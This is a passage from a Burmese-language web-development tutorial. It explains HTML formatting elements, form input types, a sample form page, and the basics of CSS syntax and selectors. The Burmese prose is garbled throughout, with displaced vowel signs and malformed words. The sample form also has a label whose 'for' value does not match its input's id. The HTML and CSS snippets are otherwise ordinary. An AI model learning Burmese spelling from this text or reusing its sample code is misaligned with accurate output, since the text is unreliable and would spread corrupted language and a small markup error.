ဒအီခန်းမာှ ခဏခဏိပပာိနတဲ့ကိြစ္စကုိြပဲ ထပ်ိ ပပာရေပါဦးမယ်။ HTML Document တစ်ခဆုိုတာ Semantic Data
Structure အိနနဲ့စနစ်တစ်ကြျတည်ိ ဆာက်ြထားတဲ့ အချက်ြအလက်ြများသာပဖေစ်သင့်ပပးီ အ့ဲဒီ  Document ကုိြ ဘယ်
ပုံ ဘယ်နညး်ိဖောပ်ပရေမလဲ ဆုိတာကုိြိတာ့ သီးပခား Style Language ပဖေစ်တဲ့ CSS နဲ့ သတမ်တှရ်ေတာပဖေစ်ပါတယ်။ ဒါ
ိပမယ့် ပပဿနာကြ XHTML မတိုငခ်ငမ်ာှ Browser ိတရွေဲ့  CSS Support ကြ အိတာ်ိ လးအားနညး်ခဲ့ပါတယ်။
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၁၉၉၆ ခနုစ်ှမာှ  အပပးီသတခ်ဲ့တဲ့  CSS2.1  ကုိြ  အ့ဲဒကီြာလိတမွာှ  လူသံုးအများဆံုးပဖေစ်တဲ့  Internet  Explorer  ကြ
၂၀၀၁ ခနုစ်ှိရောက်ြမသှာ တစ်ဝက်ြိကြျာ်ိ ကြျာ် Support စလပုန်ိုငပ်ါတယ်။ ဒါိတာင် တစ်ဝက်ြိကြျာ်ိ ကြျာပ်ရဲေှိပါိသး
တယ်။ ၂၀၀၁ မတိုငခ်င် ကြ Web Developer ိတဟွာ Document ိတကုိွြ Style လပုန်ိုငဖ်ေို့ CSS ကုိြ အားကုိြးလို့မ
ရေခဲ့ပါဘးူ။ ဒါိအကြာင့် မရေရေိအာင ်အကံြဖေနလ်ပုတ်ဲ့ အိနနဲ့ <table> Element ိတကုိွြ Document Layout အတက်ွြ
အသံုးပပုခဲ့အကြ ပါတယ်။

ိဖောပ်ပထားတဲ့ Layout ကုိြ Table တစ်ခလုို့ ပမငအ်ကြည့်ပါ။ Row သံုးခရုေှိပါတယ်။ အလယ် Row မာှ Column နစ်ှခရုေှိ
ပပးီ ကြျန ်Row နစ်ှခမုာှ Column တစ်ခစီုရေှိအကြပါတယ။် ဒနီညး်နဲ ့<table> Element ိတကုိွြ စာရေငး်ဇယား ိဖောပ်ပ
ဖေို့  မဟတုပ်ဲ  Document  Layout  အတက်ွြသံုးခဲ့အကြပါတယ်။  တစ်ပဖေညး်ပဖေညး်  Web  Developer  ိတအွကြား
အိလအ့ကြျင့် တစ်ခလုို ပဖေစ်လာတဲ့အတက်ွြ XHTML ိပါ်လာပပးီ Semantic Web ကုိြ အားိပးလာချနိ၊် Browser
CSS Support  ိတ ွအထိုက်ြ အိလျှာက်ြအားိကြာငး်လာချနိမ်ာှ  <table> Element  ကုိြ ဇယားိဖောပ်ပဖေို့ပသံုဲးဖေို့၊
Layout အတက်ွြမသံုးဖေို ့အိတာ်ိ လး ပပနပ်ပးီတိုက်ြတနွး်ခဲ့ရေပါတယ်။

ကြိန့ိ ခတမ်ာှိတာ့  Browser CSS Support ဆုိတာ အိတာ်ိ လး ပပည့်စံုအားိကြာငး်ိနပပပီဖေစ်ပါတယ်။ Layout
အတက်ွြိတာ့  Table  ိတ ွသံုးိနစရောမလိုိ တာပ့ါဘးူ။ လက်ြိတွ့မာှ   Table Layout  တစ်ခဟုာ  CSS Layout
ိလာက်ြ ပပည့်စံုသပရ်ေပ် ပခငး်လညး်မရေှိပါဘးူ။ ဒါိအကြာင့် အရေငက်ြ <table> Element ကုိြ Layout အတက်ွြသံုးတဲ့
ိခတရ်ေှိ ခဲ့တယ် ဆုိတာိလာက်ြပဲ ိပပာချငပ်ါတယ်။ ကြျွန်ိ တာတ်ို့လိုက်ြလပုအ်ကြဖေို့ မဟတုပ်ါဘူး။

Formatting Elements
Text ိတကုိွြ Format လပုလ်ိုတဲ့အခါအသုံးပပုနိုငတ်ဲ့ Element ိတရွေှိပါတယ်။ အိပခခအံားပဖေင့် <b> Element ကုိြ
စာလုံးိတ ွ Bold  လပုဖ်ေို့အသံုးပပုပပးီ  <i> Element  ကုိြ  Italic  ပပုလပုဖ်ေို့အသံုးပပုနိုငပ်ါတယ်။ ဒါိပမယ့်  Format
လပုတ်ယ်ဆုိတာ အမနှ်ိ တာ့ စာိတကုိွြဘယ်လိုပုံစံ ိဖောပ်ပရေမလသဲတမ်တှပ်ခငး်ပဖေစ်ပါတယ။် HTML Document ထဲ
မာှ  Format  လုပတ်ဲ့  Element  ိတ ွ (ပဖေစ်နိုငမ်ယ်ဆိုရေင်)  ထည့်သွငး်အသံုးမပပုသင့်ပါဘးူ။  စာိတကုိွြဘယ်လိုပုံစံ
ိဖောပ်ပရေလ ဲဆုိတဲ့ Style Detail ကုိြ CSS နဲ့ သတမ်တှ ်နိုငပ်ါတယ်။ 

ဒါိအကြာင့်လညး် W3C ကြ XHTML မာှ <b> <i> <s> <u> အစရေှိတဲ့ Formatting Elements ိတကုိွြ ဖေယ်
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ထတုပ်ပစ်ခဲ့တာပဖေစ်ပါတယ်။ ဒါိပမယ့လ်ညး်  Document  ိတမွာှ တစ်ပခားစာိတနွဲ့မတပူဲ အိလးိပးိဖောပ်ပသင့်တဲ့
စာိတ ွ ပါဝငတ်က်ြပါတယ်။  အဲဒ့လီို  အထးူအိလးိပးိဖောပ်ပသင့်တဲ့  စာိတအွတက်ွြ  အသံုးပပုနိုငဖ်ေို့  Semantic
Element ပဖေစ်တဲ့ <strong> <em> <del> တို့ကုိြ ိတာ ့XHTML မာှထည့်သွင်းိပးခဲ့ပါတယ်။

<i>Hello, World!</i> လိုိ့ ရေးသားရေင် Hello, World! လ့ုိ စာလုံးိစာငး်နဲ့ိ ဖောပ်ပထားတဲ့ ရေလဒကုိ်ြရေမာှပါ။
<em>Hello, World!</em> လို့ ိရေးသားရေငလ်ညး် စာလုံးိစာငး်နဲ့ပဲိ ဖောပ်ပတဲ့ တညူတီဲ့ရေလဒကုိ်ြပရဲေရေှိမာှပဖေစ်ပါ
တယ်။ ဒါပဖေင့် <i> Element အစား <em> Element သံုးလိုက်ြလို့ဘာများထးူသွားလို့လညး်လို့ ိမးစရောရေှိလာနိုငပ်ါ
တယ်။  ကြျွန်ိ တာတ်ို့ကုိြယ့်ကုိြယ်ကုိြ  ပပန်ိ မးသင့်တာကြ  "ဘာလို့  စာလုံးိစာငး်သံုးတာလဲ?"  ဆုိတဲ့ိ မးခနွး်  ပဖေစ်ပါ
တယ်။ စာလုံး ိစာငး်လပုလ်ိုက်ြတယ်ဆုိတာ အများအားပဖေင့် အ့ဲဒစီာကုိြပိုပပးီထးူပခားိစချငလ်ို့ပဖေစ်ပါတယ်။ <em> ဆုိ
တာ Emphasis (အထးူပပုိဖောပ်ပချက်ြ) ဆုိတဲ့အဓပိ္ပါယပ်ဖေစ်ပါတယ်။ ပိုပပးီအဓပိ္ပါယ်ရေှိပါတယ်။ ဒါိအကြာင့် စာလုံးိစာငး်
ိဖောပ်ပ လိုက်ြပါလို့ အဓပိ္ပါယ်ရေတဲ့  <i> Element အစား အထးူပပုိဖောပ်ပလိုက်ြပါလို့ အဓပိ္ပါယ်ရေတဲ့ <em> Element
ကုိြ သံုးတာကြပိုပပးီ Semantic ပဖေစ်ိစမာှပဖေစ်ပါတယ်။

ဒါိပမယ့်လညး်  HTML5  မာှိတာ့  <u> Element  ကြလွဲရေင်  အားလုံးကုိြခငွ့်ပပုထားပါတယ်။  အသံုးများတဲ့
Formatting Elements ိတကုိွြ ိဖောပ်ပိပးလိုက်ြပါတယ်။

<b> - စာလုံးိတ ွBold လုပ်ိ ဖောပ်ပဖေို့ အသံုးပပုနိုငပ်ါတယ် (Example)။
<i> - စာလုံးိတကုိွြ စာလုံးိစာငး်နဲ့ ိဖောပ်ပဖေို့ အသုံးပပုနိုငပ်ါတယ်  (Example)။ 
<s> - စာလုံးိတကုိွြ Strike-through လုပပ်ပးီိဖောပ်ပဖေို့ အသံုးပပုနိုငပ်ါတယ ်(Example)။
<strong> - ပိုပပးီထငရ်ောှးိပါ်လငွ်ိ စလိုတဲ့ စာိတအွတက်ွြသံုးနိုငပ်ါတယ ်(Example)။
<em> - အထးူပပုိဖောပ်ပလိုတဲ့ စာိတအွတက်ွြသံုးနိုငပ်ါတယ် (Example)။
<del> - ဖေျက်ြထားိအကြာငး် အသိိပးိဖောပ်ပလိုတဲ့ စာိတအွတက်ွြသံုးနိုငပ်ါတယ် (Example)။ 
<sup> - Superscript ိတွိ ဖောပ်ပဖေို့ သံုးနိုငပ်ါတယ် (Example - 2nd)။
<sub> - Subscript ိတွိ ဖောပ်ပဖေို့ သံုးနိုငပ်ါတယ် (Example - H2O)။
<code> - Program Code ိတ ွထည့်သွင်းိဖောပ်ပဖေို ့သံုးနိုငပ်ါတယ် (Example)။
<pre> - ကကိြုတင် Format လုပထ်ားတဲ့ စာိတွိ ဖောပ်ပဖေို့သံုးနိုငပ်ါတယ်။ ပုံမနှ်ဆုိရေင် HTML ကြ Whitespace ိတွ
ကုိြ ိဖောပ်ပိလမ့ရေှိိ ပမယ့် <pre> Element ထမဲာှ ထည့်သွငး်ထားတဲ့ Whitespace ိတကုိွြိတာ့ ိရေးသားထား တဲ့
အတိုငး်  ိဖောပ်ပိပးမာှပဖေစ်ပါတယ်။  HTML  Document  ထမဲာှ  တစ်ိအကြာငး်ထက်ြပိုတဲ့  Program  Code  ိတွ
ထည့်သွငး်ိဖောပ်ပဖေို့ အသံုးဝငတ်ဲ့  Element ပဖေစ်ပါတယ်။

Form and Inputs
စာရေက်ွြစာတမး်ိတမွာှိရေးပဖေည့်စရော  Form ိတပွါဝငတ်က်ြသလိုပဲ  HTML Document  ိတမွာှလညး်  Form ိတွ
ထည့် သွငး်လို့ ရေပါတယ်။  အသံုးပပုသူိတကွြ အချက်ြအလက်ြပဖေည့်သွင်းရေတဲ့ Element မို့  Input Element ိတလွို့
ိခါ်ပါတယ်။ အိပခခအံကြျ ဆံုးကြိတာ ့Text Input ပဖေစ်ပါတယ်။

<input> Element  အသံုးပပုရေပပးီ  type Attribute  မာှ  "text" လို့ သတမ်တှ်ိ ပးရေပါတယ်။  Empty Tag
တစ်ခ ုပဖေစ်တဲ့အတက်ွြ Close Tag နဲ့ Content မရေှိပါဘးူ။
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<input type="text">

တစ်ပခားအသံုးဝငတ်ဲ့  Attribute  ိတ ွရေှိပါိသးတယ်။  value Attribute  ကုိြ  Text Input  မာှ  Default Value
ိဖောပ်ပဖေို့ သံုးနိုငပ်ါ တယ်။  Text Input ထဲကြ အချက်ြအလက်ြိတကုိွြ အသံုးပပုသူကြမပပငဆ်င်ိ စချငရ်ေင် readonly
Attribute  နဲ့ ကြန့်သတန်ိုငပ်ါတယ်။  disabled Attribute  နဲ့  Input  ကုိြ  Mute  လပုန်ိုငပ်ါတယ်။  maxlength
Attribute နဲ့ Text Input ထဲမာှ ထည့်သွငး်ခငွ့်ပပုလိုတဲ့ စာလုံးအိရေအတက်ွြ ကုိြကြန့်သတန်ိုငပ်ါတယ်။ ဥပမာ  -

<input type="text" maxlength="6">

Input နဲ့အတ ူLabel ိတကုိွြ တွဲဖေက်ြိဖောပ်ပိစချငရ်ေင်ိ တာ ့<label> Element ကုိြ သံုးနိုငပ်ါတယ။်

<label for="fname">First Name</label>
<input type="text" id="fname">

<label> Element နဲ့ <input> Element တို့ကုိြ ချတိဆ်က်ြဖေို့အတက်ွြ  <label> Element ရေဲ့  for Attribute
မာှ  <input> Element  ရေဲ့  id ကုိြ  ထည့်သွငး်ိပးပခငး်ပဖေင့်  ချတိဆ်က်ြလိုက်ြတာပပဲဖေစ်ပါတယ်။  ရေရေှိမယ့်  အကြျို း
ကြိတာ့ အသံုးပပု သူကြ "First Name" ဆုိတဲ့ Label ကုိြနှိပလ်ိုက်ြရေင် Text Input မာှအလိုလို Focus ပဖေစ်ိန ိစမာှ
ပပဲဖေစ်ပါတယ။်

Input Element နဲ့ပထဲည့်သွငး်နိုငတ်ဲ့ အပခား Input အမျို းအစားိတ ွရေှိပါိသးတယ်။

<input type="password"> ကုိြ  အသံုးပပုသူ  Password  ရုိက်ြထည့်ိ စဖေို့သံုးနိုငပ်ါတယ်။  Text  Input  နဲ့
အိပခခံ  အားပဖေင့်  တူိ ပမယ့်  အသံုးပပုသူအချက်ြအလက်ြိတရုိွက်ြထည့်တဲ့အခါ   Star  ိလးိတအွပဖေစ်  ိပပာငး်လဲ
ိဖောပ်ပိပးမယ့် Input အမျို းအစားပဖေစ်ပါတယ်။ 

<input type="hidden"> ဟာလညး် Text Input နဲ့ အိပခခအံားပဖေင့်တပူါတယ်။ ဒါိပမယ့်  hidden ဆုိတဲ့
အတိုငး်  အသံုးပပုသူကုိြ  ထည့်သွငး်ိဖောပ်ပမာှမဟတုတ်ဲ့  Input  အမျို းအစားပဖေစ်ပါတယ်။  App  ိတတွည်ိ ဆာက်ြတဲ့
အခါ ဒ ီHidden Input ကြ သူ့ိ နရောနဲ့သူအသံုးဝငပ်ါတယ်။ 

<input  type="checkbox"> ကုိြိတာ့  Checkbox  Option  ိတထွည့်သွငး်ဖေို့  အသံုးပပုနိုငပ်ါတယ်။
checked Attribute  ကုိြအသံုးပပုပပီး  Default  Check  လုပ်ိ ပးနိုငပ်ါတယ်။  checked Attribute  ဟာ
အပပည့်အစံုဆုိရေင်  checked="checked" လို့  ိရေးိပးရေတဲ့  Attribute  တစ်ခပုဖေစ်ပါတယ်။  ိရေှ့မာှိပပာခဲ့သလိုပဲ
အပပည့်အစံုပ ဲပဖေစ်ပဖေစ်၊  Attribute Name သက်ြသက်ြချညး်ပဖေစ်ပဖေစ ်နစ်ှသက်ြသလိုိ ရေးနိုငပ်ါတယ်။

<input  type="radio"> ကုိြိတာ့  Radio  Option  ိတထွည့်သွငး်ဖေို့  အသံုးပပုနိုငပ်ါတယ။်  သူလညး်ပဲ
checked Attribute ကုိြပဲ  Default Check သတမ်တှန်ိုငပ်ါတယ်။ ထးူပခားချက်ြကြိတာ၊့ Radio Option ဆုိတာ
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ိရေးွစရောအများကကီြး  ထကဲြ တစ်ခတုညး်ကုိြပဲ  ိရေးွခငွ့်ိ ပးတဲ့  Option  အမျို းအစားပါ။  ဒလီပု်ိ ဆာငခ်ျက်ြရေဖေို့အတက်ွြ
အမျို း အစားတရူော  Radio Option ိတကုိွြ name Attribute စုစညး်ိပးရေပါတယ်။ ဥပမာ - 

<input type="radio" name="gender" value="male">
<input type="radio" name="gender" value="female">

<input type="submit"> ကြိတာ့ Button ထည့်သွငး်ဖေို့ အသံုးပပုရေပါတယ်။ submit Button ဟာ Form
တစ်ခအုတက်ွြ အိရေးအကကီြးဆံုးပဖေစပ်ါတယ်။  submit Button  အလပုလ်ပုပ်ုံကုိြ  အခနး်  (၈) PHP Basic  မာှ ထပ်
ရေငှး် ိပးမာှပဖေစ်ပါတယ်။

မတ်ှချကြ် ။ ။ value Attribute  ဟာ  Text Input  ိတွအတွကြ်  Default Value  ိဖောပ်ပဖေို့အသုံးပပုပါတယ။်  Checkbox  နဲ့
Radio Option  တုိအ့တွကြ်ိ တာ့  သကြဆုိ်ငရ်ော  Element  ရေဲ့  တနး်ဖေိုးသတ်မတ်ှိပးဖေို့  သုံးရေပါတယ။်  Button Element  ိတွ
အတွကြ်ိ တာ့  value Attribute  ကြို  Button  ိပါ်မာှိပါ်တ့ဲ  Button Label  ိဖောပ်ပဖေို့  အသုံးပပုနိုငပ်ါတယ။် ဥပမာ  <input
type="submit" value="Save">

<input type="reset"> ဟာလညး်  Button  တစ်ခပုပဲဖေစ်ပါတယ်။  reset Button  ကုိြ နှိပလ်ိုက်ြရေင်  Input
အား  လုံးမာှ  ထည့်သွငး်ထားတဲ့အချက်ြအလက်ြိတကုိွြ  ရေငှး်လငး်ိပးမာှပဖေစ်ပါတယ။်  ဒီ  Button  ဟာ  မသံုးသင့်တဲ့
Button  တစ်ခု ပဖေစ်ပါတယ်။  Web Form  တစ်ခမုာှပဖေည့်သွငး်စရော  Input (၁၀)  ခခုန့် ပါတယ်ဆိုအကြပါစုိ။့ အားလုံး
ပဖေည့်ပပးီမှ ပဖေည့်ခဲ့သမျှ မာှးိနလို့  (၁၀)  ခလုုံးကုိြ ပပနရ်ေငှး်ပပစ်ချငတ်ယ်ဆုိတဲ့အသံုးမျို းကြ လက်ြိတွ့မာှမရေှိပါဘးူ။ မာှး
လို့ ပပနပ်ဖေည့်ချငလ်ဲ တစ်ခနုစ်ှခု ပရဲေှိမာှပါ။ ဒီ Button ထည့်ထားမမိှ အသံုးပပုသူကြ မိတာတ်စ်ဆမာှးနှိပမ်ရိေင် သူပဖေည့်
ခဲ့သမျှအကုြနရ်ေငှး်သွားလို့ အစအဆံုး ပပနထ်ည့်ရေတဲ့ပပဿနာ ရေှိနိုငပ်ါတယ်။  User Experience ရှုိဒါင့်ကြအကြည့်မယ်
ဆုိရေင် အထးူလို အပခ်ျက်ြတစ်စံုတစ်ရောမရေှိရေင ်မသံုးသင့်တဲ့ Button တစ်မျို းပပဲဖေစ်ပါတယ်။

<input type="button"> ဟာလညး် Button တစ်မျို းပဲ ပဖေစ်ပါတယ်။ သူကြိတာ့ Button အလတွတ်စ်ခသုာ
ပဖေစ်ပါတယ်။  ဘာအလပုမ်လှပုမ်ာှမဟတုပ်ါဘးူ။  JavaScript  နဲ့  တဲွဖေက်ြအသံုးပပုလိုတဲ့အခါမသှာ  အသံုးပပုရေမယ့်
Button တစ်မျို းပဖေစ်ပါတယ်။ 

<button> Element  ဟာ  လညး်  <input type="button"> နဲ့  အတတူပူပဲဖေစ်ပါတယ်။  ထူးပခားချက်ြကြ
<button> Element  ကြ  Full Element  တစ်ခပုဖေစ်တဲ့အတက်ွြ  Element Content  နဲ့  Close Tag  ရေှိပါတယ်။
ဥပမာ  -  <button>Download</button> လို့  ိရေးရေမာှပဖေစ်ပါတယ်။  ရေလဒက်ြိတာ့  <input  type=
"button" value="Download"> လို့ ိရေးသားပခငး်နဲ ့အတတူပူရဲေမာှပဖေစ်ပါတယ်။

<button> Element  ရေဲ့  ထူးပခားချက်ြကြ လိုအပရ်ေင်  Formatting Tag  ိတကုိွြ  Content  မာှ ထည့်ိ ရေးလို့ရေနိုင်
ပခငး်ပဲ ပဖေစ်ပါတယ်။  ဥပမာ  -  <button>Download <b>file.pdf</b></button> လ့ုိ ိရေးသားနိုငတ်ဲ့
အားသာ ချက်ြရေှိမာှပဖေစ်ပါတယ်။

ိနာက်ြ Input Element နစ်ှမျို းကြျနပ်ါိသးတယ်။ Textarea နဲ့ Select Box တို့ပပဲဖေစ်ပါတယ်။ သူတို့အတက်ွြိတာ့
<input> Element  မသံုးပါဘးူ။  Textarea  ထည့်သွငး်ဖေို့အတက်ွြ  <textarea> Element  ကုိြသံုးရေပါတယ်။
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ထးူပခားချက်ြကြ  <textarea> ဟာ  <input> လို  Empty  Element  မဟတုပ်ါဘးူ။  အဖေငွ့်အပတိရ်ေှိတဲ့  Full
Element ပဖေစ်ပါတယ်။ ပပးီိတာ့ Default Value သတမ်တှဖ်ေို့အတက်ွြ <input type="text"> မာှလို value
Attribute  သံုးပပးီ သတမ်တှလ်ို့မရေပါဘးူ။  Default Value  ကုိြ အဖေငွ့်  Tag  နဲ့ အပတိ်  Tag အကြားထမဲာှိရေးိပးရေပါ
တယ်။ ဥပမာ - <textarea>Default Text</textarea>

Select Box ကုိြ Drop-Down Box လ့ုိလညး် ိခါ်ပါတယ်။ ထည့်သွငး်ဖေို့အတက်ွြိတာ့  <select> Element ကုိြ
သံုးရေ ပါတယ်။ နှိပလ်ိုက်ြရေင် ိရေးွစရောစာရေငး်ကြျလာမာှပဖေစ်ပါတယ်။ ိရေးွစရောစာရေငး်ကုိြိတာ့  <option> Element
ိတနွဲ့ သတမ်တှ်ိ ပးနိုငပ်ါတယ်။ ဥပမာ - 

<select>
  <option value="1">Apple</option>
  <option value="2">Orange</option>
  <option value="3" selected>Mango</option>
  <option value="4">Grape</option>
</select>

<option> Element ိတမွာှ value Attribute သတမ်တှထ်ားတာကုိြ သတပိပုပါ။ ဥပမာ - Orange လ့ုိ ိရေးွစရော
စာရေငး်မာှ  ိဖောပ်ပထားိပမယ့်  သူရ့ေဲ့တနဖ်ေိုးအမနှက်ြ   (2)  ပဖေစ်ပါတယ်။  value Attribute  မိပးထားလညး်  ရေပါ
တယ်။ မိပးထားရေင်ိ တာ့ ိရေးွစရောစာရေငး်မာှိဖောပ်ပထားတဲ့ Orange ကုိြပဲ သူရေဲ့  value အိနနဲ့အသုံးပပုသွားမာှပါ။
ိနာက်ြထပ်  သတပိပုရေမာှကြ  selected Attribute  ပဖေစ်ပါတယ်။  သူကြ  Default  ိရေးွထားိပးိစလိုတဲ့
<option> Element မာှ ထည့်သွငး်ိပးရေမာှ ပဖေစ်ပါတယ်။ selected Attribute ိပးထားတဲ့ <option> မရေှိ
ရေင၊် အိပါ်ဆံုး <option> ကုိြ Default အိနနဲ့ ိရေးွထားိပးမာှပ ဲပဖေစ်ပါတယ်။ 

HTML Form နမူနာ
<!doctype html> 
<html> 
<head> 
  <meta charset="UTF-8"> 
  <title>HTML Form</title> 
</head> 
<body> 
  <h1>Form Inputs</h1> 
  <form> 
    <label for="fname">Name</label><br> 
    <input type="text" id="name"><br> 
    
    <label for="email">Email</label><br> 
    <input type="text" id="email"><br> 

    <label for="address">Address:</label><br> 
    <textarea id="address"></textarea><br> 

    <br> 
    <input type="radio" name="gender" id="male"> 
    <label for="male">Male</label> 
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    <input type="radio" name="gender" id="female"> 
    <label for="female">Female</label><br> 
    <br> 

    <label for="education">Highest Education</label><br> 
    <select id="education"> 
      <option>High School</option> 
      <option>Bachelor</option> 
      <option>Post Graduate Diploma</option> 
      <option>Master</option> 
      <option>Ph.D</option> 
    </select><br> <br> 

    <input type="submit" value="send"> 
  </form> 
</body> 
</html> 

နမနူာမာှိဖောပ်ပထားတဲ့ Form ကုိြ form.html File Name နဲ့ ကူြးယူသိမး်ဆည်းပပးီ Browser နဲ့ဖေငွ့်အကြည့်ရေင် အခု
လို ရေလဒ ်ရေရေှိမာှပပဲဖေစ်ပါတယ်။
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မတ်ှချကြ် ။ ။ Browser  မာှ ိဖောပ်ပတ့ဲအခါ  Element  ိတွကြို ိနာကြတ်စ် လုိငး်ဆငး်ပပးီ ိဖောပ်ပိစချငရ်ေင်  <br> Element  ကြို
အသုံးပပုနိုငပ်ါတယ။် <br> ဆုိတာ Line Break ဆုိတ့ဲ အဓပိ္ပါယပ်ဖေစပ်ပးီ Content နဲ့ Close Tag မရေှိတ့ဲ Empty Element တစ်
ခ ုလညး်ပဖေစပ်ါတယ။်

Conclusion
အခုိ ဖောပ်ပခဲ့တဲ  Element  ိတဟွာ ရုိးရိုး  Text Document  တစ်ခကုိုြ  HTML Element  ိတနွဲ့  တည်ိ ဆာက်ြတဲ့
အခါ အသံုးပပုရေတဲ့ အိပခခံ Element များပဲ ပဖေစ်ပါတယ်။ ပဖေည့်စွက်ြမတှသ်ားဖေို့လိုတဲ့ Element နဲ့ Attribute ိတကုိွြ
သက်ြဆိငု် ရောအခန်းအလိုက်ြ ဆက်ြလက်ြိဖောပ်ပိပးသွားမာှပဖေစ်ပါတယ်။ ဒအီခနး်မာှိတာ၊့ HTML Document ိတွ
ဟာ Web App ိတရွေဲ့အိပခခံ Data Structure ိတ ွပဖေစ်တယ်ဆုိတဲ့အချက်ြကုိြ အထးူပပုမတှသ်ားိစချငပ်ါတယ်။
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အခနး် (၃) Cascading Style Sheets - CSS
သပ်ရေပ်၍အသံုးပပုရေလယွက်ြသူည့် App များအတွကြ် အရေှိမပဖေစ်နညး်ပညာ

W3C ကြ CSS ကုိြဖေနတ်းီခဲ့တဲ့ ရေညရ်ေယ်ွချက်ြကြိတာ့  Document Content  နဲ့  Style ကုိြ ခွဲပခား ထားချငလ်ို့ပဖေစ်ပါ
တယ်။  HTML ကုိြ  Content Structure  တည်ိ ဆာက်ြဖေို့အသံုးပပုပပးီ အဲဒ့ီ  Content  ိတကုိွြ ဘယ်လိုပုံစံ၊ ဘယ်လို
Style နဲ့ ိဖောပ်ပရေမလဆုိဲတာကုိြ  CSS နဲ့ သတမ်တှရ်ေတဲ့သိဘာပဖေစ်ပါတယ်။

CSS Style Language  ကုိြတထီငွဖ်ေနတ်းီဖေို့  ိဆွးိနးွအကြိတာ့   အဆုိပပုချက်ြ  Proposal  (၉)  မျို းထိ  ရေရေှိခဲ့အကြပါ
တယ်။ အ့ဲဒထီကဲြ (၂) မျို းကုိြအိပခခပံပးီ တီထငွဖ်ေို့ W3C ကြဆံုးပဖေတခ်ဲ့ပါတယ။် Cascading HTML Style Sheets
(CHSS)  နဲ့  Stream-based Style Sheet Proposal (SSP)  တို့ပပဲဖေစ်ပါတယ်။  CHSS  ကြိတာ့ ကြိနတ့ငွတ်ငွ်
ကြျယ်ကြျယ်အသံုးပပု ိနအကြတဲ့ CSS နဲ့ပိုပပးီ နးီစပပ်ါတယ်။ အမနှ်ိ တာ့ CSS ကုိြ HTML တငမ်ကြပါဘးူ၊ တစ်ပခား
Markup Language ိတနွဲ့ လညး်တွဲဖေက်ြ အသံုးပပုနိုငပ်ါတယ် (ဥပမာ - XML, SVG, XUL)။ ဒါိအကြာင့် CHSS
ကြိန H ကုိြ ဖေယ်လိုက်ြပပးီ CSS လ့ုိ အမညတ်ငွ်ိ စခဲ့တာပါ။

တစ်ပခား  Style Language  ိတနွဲ့မတပူဲ  CSS  ရေဲ့  တစ်မထူးူပခားချက်ြကြိတာ့  Document  တစ်ခအုတက်ွြ တစ်ခု
ထက်ြပိုတဲ့  Style  Sheets  ိတ ွတွဲဖေက်ြအသံုးပပုနိုငပ်ပီး၊  Style  Sheet  တစ်ခကုြအပခား  Style  Sheet  တစ်ခထုကဲြ
သတမ်တှထ်ားချက်ြိတကုိွြ  Cascade  (Inherit)  လုပယူ်ပပးီ  ဆက်ြလက်ြအသံုးပပုနိုငပ်ခငး်ပဲ  ပဖေစ်ပါတယ်။  ဒါိအကြာင့်
လညး်  Cascading Style Sheet လ့ုိ ိခါ်တာပါ။  ၁၉၉၆ ခနုစ်ှ ဒဇီငဘ်ာလမာှ CSS ရေဲ့  ပထမဆံုး Version ိအကြပငာ
ခဲ့ပါတယ်။ အမနှ်ိ တာ့ CSS မာှ Version လို့မသံုးပါဘးူ။ CSS Level 1 လိုိ့ ခါ်ပါတယ်။ အခုိ နာက်ြဆံုး HTML5
နဲ့ တဲွဖေက်ြပါဝငလ်ာပပးီ လက်ြရေှိတငွတ်ငွက်ြျယ်ကြျယ် အသံုးပပုိနတဲ့ CSS ကုိြိတာ ့CSS3 (CSS Level 3) လို့ ိခါ်ပါ
တယ်။ 

3.1 - CSS Syntax
CSS  ဟာ  Programming  Language  တစ်ခမုဟတုသ်လို  Markup  Language  တစ်ခလုညး်မဟတုပ်ါဘးူ။
ိအကြပငာချက်ြ ိတ ွစုစညး်ထားတဲ့ Language တစ်မျို းပဖေစ်ပါတယ်။

"<h2> Element ိတကုိွြ စာလုံးအနီိ ရောငန်ဲ့ိ ဖောပ်ပပါ။  Bold လပု်ိ ပးပါ။"
"class ကုိြ 'note' လို့ သတမ်တှထ်ားတဲ့ Element ိတကုိွြ စာလုံး Size  12 Pixels အသံုးပပုိဖောပ်ပပါ။"
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- စသပဖေင့် ဘယ် Element ကုိြ ဘယ်လို Style နဲ့ ိဖောပ်ပရေမလဆိဲတုာကုိြ သတမ်တှ်ိ အကြပငာထားတဲ့ ိအကြပငာချက်ြများပဲ
ပဖေစ်ပါတယ်။ ိရေးသားပုံ Syntax ကုိြ ပုံ (၃-ကြ) မာှ အကြည့်ပါ။

ပုံ (၃-ကြ) CSS ိရေးသားပုံိ ရေးထုံး

Selector, Property, Values ဒသံုီးမျို းပရဲေှိတာပါ။ Selector ဆုိတာ h1, p, img, li စတဲ့ HTML Element ိတွ
ကုိြ  ိရေးွချယ်ပခငး်ပဖေစ်ပါတယ်။  Property  ိတကွြိတာ့  color,  background,  border,  font-style  စတဲ့  Style
Property  ိတ ွပဖေစ်ပါတယ်။  Values  ိတကွြိတာ့  blue, 20px, bold, center  စတဲ့  Style Value  ိတပွပဲဖေစ်ပါ
တယ်။ ဥပမာ - <p> Element ိတအွားလုံးကုိြစာလုံးအစိမ်းိရောင် နဲ့ ိဖောပ်ပပါလို့ CSS နဲ့ အခလုို ိအကြပငာိပးနိုငပ်ါ
တယ် - 

p {
  color: green;
}

နမနူာမာှ p ကြ Selector ပဖေစ်ပါတယ်။ color ကြ Property ပဖေစ်ပပးီ green ကြိတာ ့Value ပဖေစ်ပါတယ်။ 

3.2 - CSS Selectors
CSS မာှ နပံါတ် (၁) အိရေးအကကီြးဆုံးကြ Selector ပဖေစ်ပါတယ်။ Element ိပါငး်များစွာနဲ့ ဖေွဲ့စညး်ထားတဲ့  HTML
Document  တစ်ခထုကဲြ ကုိြယ်  Style  သတမ်တှလ်ိုတဲ့  Element  ကုိြ  Select  လပု်ိ ရေးွချယ်နိုငပ်ခငး်ဟာ ပထမဆံုး
လိုအပ် ချက်ြပဖေစ်ပါတယ်။

Selector ိတထွမဲာှ အိပခခအံကြျဆံုးကြိတာ့  Element Selector, ID Selector နဲ့  Class Selector တို့ပဲ ပဖေစ်ပါ
တယ်။   Element  Selector  ကြိတာ့  HTML  Element  Name  နဲ့  Select  လုပပ်ခငး်ပဖေစ်ပါတယ်။  မညသ်ည့်
HTML Element ကုိြမဆိ ုName အတိုငး် CSS နဲ့ Select လုပယူ်နိုငပ်ါတယ်။ နမနူာတစ်ချို ့ ိဖောပ်ပိပးပါမယ် -

body {
  background: black;
  color: white;
}
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h1 {
  font-size: 24px;
}

ul {
  list-style: square;
  line-height: 20px;
}

a {
  color: yellow;
  text-decoration: none;
}

